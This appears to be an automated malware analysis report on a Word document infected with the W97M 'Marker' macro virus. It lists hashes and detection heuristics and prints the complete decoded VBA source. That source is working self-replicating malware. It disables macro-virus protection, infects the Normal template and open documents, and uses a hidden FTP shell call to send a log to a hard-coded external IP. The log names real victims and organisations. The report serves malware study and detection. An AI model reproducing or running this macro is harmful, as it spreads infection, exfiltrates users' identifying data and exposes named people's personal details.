Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2796ffc8ae1ae197…

MALICIOUS

Office (OLE)

58.5 KB Created: 2014-02-16 08:02:00 Authoring application: Microsoft Office Word First seen: 2014-05-20
MD5: 7fbaf301f0577c0c4439cfe42cf812c9 SHA-1: f36d7a70038fecb923d43f44c00b872746e77e86 SHA-256: 2796ffc8ae1ae197f11ab1b214f433c7e6aa44a647f5a80630333684e997bc04
260 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8663 bytes
SHA-256: 49858224f0f37d92bdd95b395f9084844f3cc181111df9cab372eb9624387d0c
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True











Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'



' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'



' 08:20:05 上午 - Tuesday, 15 Nov 2011
' 曾静
'



' 08:37:52 上午 - Friday, 2 Dec 2011
' unknown
'



' 02:40:12 下午 - Monday, 16 Jan 2012
' unknown
'



' 12:59:10 下午 - Thursday, 9 Feb 2012
' 微软用户
'



' 11:32:40 上午 - Friday, 17 Feb 2012
' 王福斌
'



' 10:27:15 上午 - Thursday, 23 Feb 2012
' 颜铭
'



' 03:03:24 下午 - Friday, 24 Feb 2012
' in9
'



' 02:51:37 下午 - Tuesday, 28 Feb 2012
' USER
'



' 06:46:30 下午 - Wednesday, 7 Mar 2012
' 微软用户
'



' 11:37:23 上午 - Wednesday, 28 Mar 2012
' 金格科技
'



' 04:21:10 下午 - Thursday, 10 Apr 2008
' 系统管理员
'



' 02:00:39 下午 - Tuesday, 8 May 2012
' 毛毛
'



' 09:39:42 下午 - Friday, 11 May 2012
' 系统管理员
'



' 07:39:37 下午 - Monday, 14 May 2012
' 朱洪磊
'



' 04:32:57 下午 - Wednesday, 16 May 2012
' 李芳芳
'



' 10:12:47 上午 - Monday, 21 May 2012
' 系统管理员
'



' 02:26:30 下午 - Thursday, 24 May 2012
' 蔡苒
'



' 01:13:31 下午 - Wednesday, 6 Jun 2012
' weaver
'



' 02:32:07 下午 - Friday, 29 Jun 2012
' 系统管理员
'



' 05:48:40 下午 - Tuesday, 10 Jul 2012
' 系统管理员
'



' 03:29:19 下午 - Friday, 20 Jul 2012
' 系统管理员
'



' 03:00:23 下午 - Monday, 23 Jul 2012
' 郑电敏
'



' 04:25:33 下午 - Wednesday, 25 Jul 2012
' 郑电敏
'



' 09:28:13 下午 - Thursday, 30 Aug 2012
' 徐财务
'



' 04:20:24 下午 - Thursday, 27 Sep 2012
' 徐财务
'



' 07:10:24 下午 - Tuesday, 16 Oct 2012
' 殷亚琳
'



' 05:27:17 下午 - Wednesday, 24 Oct 2012
' MC SYSTEM
'



' 02:50:49 下午 - Tuesday, 8 Jan 2013
' Users
'



' 10:48:34 上午 - Friday, 18 Jan 2013
' USER
'



' 05:01:00 下午 - Thursday, 24 Jan 2013
' 何彪
'



' 05:56:42 下午 - Tuesday, 28 Sep 2010
' 何彪
'



' 10:48:34 上午 - Monday, 30 Sep 2013
' Windows 用户
'



' 02:53:43 下午 - Monday, 13 Jan 2014
' 何彪
'



' 07:43:33 下午 - Tuesday, 14 Jan 2014
' 何彪
'



' 02:13:37 下午 - Sunday, 26 Jan 2014
' 何彪
'

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